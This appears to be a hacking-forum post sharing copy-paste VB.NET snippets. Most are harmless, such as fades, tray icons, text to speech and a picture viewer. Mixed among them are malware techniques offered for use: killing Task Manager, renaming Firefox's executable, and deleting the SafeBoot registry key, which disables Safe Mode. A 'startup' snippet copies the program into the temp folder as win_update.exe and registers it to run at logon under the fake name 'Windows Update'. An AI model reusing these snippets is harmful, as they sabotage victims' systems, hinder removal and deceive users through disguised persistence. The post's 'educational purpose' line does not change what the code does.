Useful Source Codes!
Here are some Usefull VB.NET source codes that you can include in your project!Hope you like them and remember to press THANKS if i helped :O
Open a Website
Code:
Process.Start("www.box.net")
Process.Start("www.myforum.net")
Open something
Code:
Shell("Notepad")
Shell("Calculator")
Delete a file
Code:
Dim FileToDelete As String
FileToDelete = "C:\File.exe"
If System.IO.File.Exists(FileToDelete) = True Then
System.IO.File.Delete(FileToDelete)
Kill a process
Code:
Dim RunningProcess As System.Diagnostics.Process = Process.GetProcessesByName("taskmgr.exe")(0)
RunningProcess.Kill()
Rename a file
Code:
My.Computer.FileSystem.RenameFile ("C:\Program Files\Mozilla Firefox\firefox.exe", "Anything.exe")
Delete a registry key
Code:
My.Computer.Registry.LocalMachine.DeleteSubKey("HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot")
Create a registry key
Code:
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE", True)
regKey.CreateSubKey("MyApp")
regKey.Close()
Text To Speech:
Code:
Dim sapi
sapi = CreateObject("sapi.spvoice")
sapi.Speak(Textbox1.text)
Fade in
Code:
For FadeIn = 0.0 To 1.1 Step 0.1
Me.Opacity = FadeIn
Me.Refresh()
Threading.Thread.Sleep(100)
Next
Fade out:
Code:
For FadeOut = 90 To 10 Step -10
Me.Opacity = FadeOut / 100
Me.Refresh()
Threading.Thread.Sleep(50)
Next
Minimize To Tray
Just Add a Notifyicon
Code:
Private Sub Form1_Resize(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Resize
If Me.WindowState = FormWindowState.Minimized Then
Me.Hide()
End If
End Sub
Private Sub NotifyIcon1_MouseClick(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles NotifyIcon1.MouseClick
If Me.WindowState = FormWindowState.Minimized Then
Me.Show()
Me.WindowState = FormWindowState.Normal
End If
End Sub
Add Music To Your Tool:
First Add your music to Resources
Note: The File Type Of The Music must be .wav
Double Click Button1 (start):
Code:
My.Computer.Audio.Play(My.Resources.song namenowav, AudioPlayMode.BackgroundLoop)
Double Click Button2 (stop)
Code:
My.Computer.Audio.Stop()
Count Files In Folders:
Code:
Dim NOF As Integer
Dim FilePath As String = TextBox1.Text
NOF = System.IO.Directory.GetFiles(FilePath).Length
TextBox2.Text =NOF.ToString
Google Searcher
Add:
Process
Button
Double Click The Button and Write:
Code:
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
msgbox("WTF :| ? are u searching for nothing o.0 ?)
Else
Process1.StartInfo.FileName = ("http://www.google.co.uk/search?hl=en&q=" & TextBox1.Text & "&btnG=Search&meta=")
Process1.Start()
End If
End Sub
Case Example
Add:
1 Button
1 Textbox
Double Click the Button and write:
Code:
TextBox1.Text = Int(Rnd() * 4)
Select Case TextBox1.Text
Case 0
TextBox1.Text = "anything"
Case 1
TextBox1.Text = "passgenerator"
Case 2
TextBox1.Text = "CD key"
Case 3
TextBox1.Text = "strings"
End Select
Login Example:
Add:
1 button
Click The Button and write:
Code:
If TextBox1.Text = "CodeBreaker" _
And TextBox2.Text = "TheEndGamer" Then
MsgBox("Welcome to spam.net")
Else
MsgBox("Euuhh? do i know u :S ?")
End If
Xfire Add Friender and status changer (Just an example)
Add:
2 buttons
1 webbrowser
2 textboxes
Button1.text = Change Status
Button2.text = Add Friend
Double Click Button1 and write:
Code:
WebBrowser1.Navigate("xfire:status?text= " & TextBox1.Text)
Double Click Button2 and Write:
Code:
WebBrowser1.Navigate("xfire:add_friend?u ser=" & TextBox2.Text)
Add Your Application To Startup
Before Public Class Form1
Add:
Code:
Imports System.IO
Imports Microsoft.Win32
Now double click form1 and add the following Code:
Code:
Try
If System.IO.File.Exists(Path.GetTempPath() & "win_update.exe") = False Then
System.IO.File.Copy(System.Reflection.Assembly. _
GetExecutingAssembly.Location, Path.GetTempPath() & "win_update.exe")
End If
Catch ex As Exception
End Try
Try
Dim regKey As RegistryKey
regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")
regKey.Close()
Catch ex As Exception
End Try
Try
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")
regKey.Close()
Catch ex As Exception
End Try
Picture Viewer:
Add:
1 Button
1 PictureBox
Double Click Button1 and write:
Code:
Try
OpenFileDialog1.Title = "Open Picture"
OpenFileDialog1.FileName = ".jpg"
OpenFileDialog1.Filter = "All Files |*.*" OpenFileDialog1.ShowDialog()
PictureBox1.Image = System.Drawing.Image.FromFile(OpenFileDi alog1.FileName)
Catch ex As Exception
End Try
If you have any problems leave a feedback and i will help you as fast as i can!Remember this is for educational purpose!
Credits Goes to Mondragon-KonideS--->PRESS THANKS IF I HELPED!